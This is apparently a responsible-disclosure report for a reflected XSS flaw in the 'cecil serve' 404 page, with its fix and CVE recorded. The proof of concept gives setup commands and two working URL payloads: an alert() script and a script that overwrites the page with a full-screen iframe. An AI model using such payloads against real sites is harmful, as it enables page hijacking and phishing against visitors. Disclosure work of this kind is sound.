Reflected Cross-Site Scripting (XSS) vulnerability in the dynamic 404 page in cecilapp/cecil

Valid

Reported on

Sep 7th 2023


Description

When running a Cecil site by cecil serve without a 404.html, Reflected Cross-Site Scripting (XSS) is possible via the URI path.

Proof of Concept

Run the following commands:

mkdir cecil-404-xss-poc
cd cecil-404-xss-poc
curl -L https://cecil.app/cecil.phar -o cecil
chmod +x cecil
./cecil new:site -n
echo "defaultpages: { 404: { published: false } }" >> config.yml
./cecil serve

Then visit http://localhost:8000/"><script>alert('xss')</script> to see a simple alert.

Or visit http://localhost:8000/"><script>setTimeout(()=>{window.stop();document.open();document.write('<iframe src="https://example.com" style="position:fixed;top:0;left:0;width:100vw;height:100vh"></iframe>');document.close()},1)</script> to see the page totally replaced by an <iframe>. (Here window.stop() is used to abort the <meta http-equiv="refresh">.)

Impact

Unauthenticated remote attackers can inject arbitrary JavaScript into a Cecil site served by cecil serve by fooling a victim into visiting a malicious link.

Occurrences

The URI path is read and URL-decoded, so special characters like quotes can be injected in spite of being encoded in the original URI.

We are processing your report and will contact the cecilapp/cecil team within 24 hours. 14 days ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 13 days ago
We have contacted a member of the cecilapp/cecil team and are waiting to hear back 12 days ago
Arnaud Ligny validated this vulnerability 10 days ago
Yufan You has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Arnaud Ligny marked this as fixed in 7.47.1 with commit 00dc79 9 days ago
Arnaud Ligny has been awarded the fix bounty
This vulnerability has been assigned a CVE
Arnaud Ligny published this vulnerability 9 days ago
router.php#L28 has been validated
to join this conversation